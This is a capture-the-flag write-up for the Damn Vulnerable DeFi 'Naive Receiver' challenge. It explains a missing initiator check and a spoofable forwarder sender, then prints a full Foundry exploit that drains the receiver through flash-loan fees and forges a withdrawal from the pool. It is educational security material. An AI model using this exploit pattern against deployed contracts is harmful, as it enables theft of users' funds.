Damn Vulnerable DeFi V4 Foundry  Challenge 2 Solution: Naive?Receiver

Damn Vulnerable DeFi V4 Foundry Challenge 2 Solution: Naive?Receiver

Intro

Hey everyone! JohnnyTime here, breaking down the second challenge from Damn Vulnerable DeFi v4?—?“Naive Receiver”. This challenge explores a common access control vulnerability that can drain funds through flash loan fees.

I’ve created a video tutorial for this challenge if you prefer watching rather than reading. You can also check out my full playlist with walkthroughs for all challenges and find the complete solutions in my GitHub repo.

Watch also directly from LinkedIn:

Let’s dive in!

Objective

The challenge description tells us:

There’s a pool with 1000 WETH offering flash loans with a fixed fee of 1 WETH. A user deployed a contract with 10 WETH. All funds are at risk!
Our goal: Rescue all WETH from the user and the pool, depositing them into the recovery account.

So, we need to find a way to:

  1. Drain the 10 WETH from the user’s contract
  2. Steal the 1000 WETH from the pool
  3. Send everything to the recovery account

Smart Contracts Overview

Let’s analyze the key contracts:

  1. NaiveReceiverPool: The flash loan pool contract with 1000 WETH. It charges a fixed 1 WETH fee per flash loan.
  2. FlashLoanReceiver: A user’s contract with 10 WETH that can execute flash loans.
  3. BasicForwarder: A permissionless forwarder for meta-transactions that the pool integrates with.
  4. Multicall: A utility contract that allows calling multiple functions in a single transaction.

Before we continue, if you’re looking to level up your smart contract security skills, check out my Smart Contract Hacking Course. Unlike piecing information together from across the internet, everything is curated with hands-on exercises based on real DeFi hacks. You’ll also get access to our Discord community with me and other teachers/students, plus certification upon completion of the final exam!

Vulnerability Breakdown

After analyzing the contracts, I’ve identified two key vulnerabilities:

Vulnerability #1: Missing Access Control in FlashLoanReceiver

Looking at the onFlashLoan function in FlashLoanReceiver:

function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
    external
    returns (bytes32)
{
    assembly {
        // gas savings
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }
    // ... rest of function ...
}        

The first parameter (initiator) is completely ignored! This is dangerous because:

  • Anyone can call the pool to execute a flash loan on behalf of the receiver
  • The receiver will pay the 1 WETH fee each time
  • We can drain the receiver’s 10 WETH by forcing it to take 10 flash loans

Vulnerability #2: Insecure Forwarder Implementation

In the NaiveReceiverPool contract, the _msgSender() function reveals another vulnerability:

function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
        return address(bytes20(msg.data[msg.data.length - 20:]));
    } else {
        return super._msgSender();
    }
}        

This allows the forwarder to impersonate any address by controlling the last 20 bytes of the message data. However, as we’ll see, we don’t even need to exploit this vulnerability to solve this challenge.

Exploitation

Our attack plan is simple:

  1. Repeatedly call flashLoan on the pool, targeting the FlashLoanReceiver
  2. Each call will cost the receiver 1 WETH in fees
  3. After 10 calls, the FlashLoanReceiver will be drained
  4. Encode the withdrawal call to the pool contract which exploits the access control vulnerability by passing the request through the forwarder and setting the deployer as sender in the last 20 bytes (That’s how the pool parses it).
  5. Create the forwarder request, hash it, sign it, and send it!

Here’s my exploit code:

/**
 * CODE YOUR SOLUTION HERE
 */
function test_naiveReceiver() public checkSolvedByPlayer {

    // Prepare call data for 10 flash loans and 1 withdrawal
    bytes[] memory callDatas = new bytes[](11);
    
    // Encode flash loan calls - on behalf of the Naive receiver
    for (uint i = 0; i < 10; i++) {
        callDatas[i] = abi.encodeCall(
        NaiveReceiverPool.flashLoan,
        (receiver, address(weth), 0, "0x")
        );
    }

    // Encode withdrawal call
    // Exploit the access control vulnerability by passing the request through the forwarder
    // And setting the deployer as sender in the last 20 bytes (That's how the pool parses it)
    callDatas[10] = abi.encodePacked(
        abi.encodeCall(
        NaiveReceiverPool.withdraw,
        (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))
        ),
        bytes32(uint256(uint160(deployer)))
    );

    // Encode the multicall
    bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);

    // Create forwarder request
    BasicForwarder.Request memory request = BasicForwarder.Request(
        player,
        address(pool),
        0,
        gasleft(),
        forwarder.nonces(player),
        multicallData,
        1 days
    );

    // Hash the request
    bytes32 requestHash = keccak256(
        abi.encodePacked(
        "\x19\x01",
        forwarder.domainSeparator(),
        forwarder.getDataHash(request)
        )
    );

    // Sign the request
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
    bytes memory signature = abi.encodePacked(r, s, v);

    // Execute the request
    forwarder.execute(request, signature);
}        

When we run the attack:

  1. Our contract calls flashLoan 10 times on behalf of the receiver
  2. Each call costs the receiver 1 WETH in fees
  3. After 10 calls, the receiver’s 10 WETH balance is completely drained and the pool will have it
  4. The last call will withdraw all the funds from the pool to the recovery address.

There you have it! The FlashLoanReceiver’s critical mistake was not validating who could request flash loans on its behalf, allowing us to drain it through repeated fee payments.

In real-world DeFi, always implement proper access controls and validate transaction initiators to prevent similar attacks!

Hope you enjoyed this one and I will see you in the next guide! ??

要查看或添加评论,请登录

Johnny Time的更多文章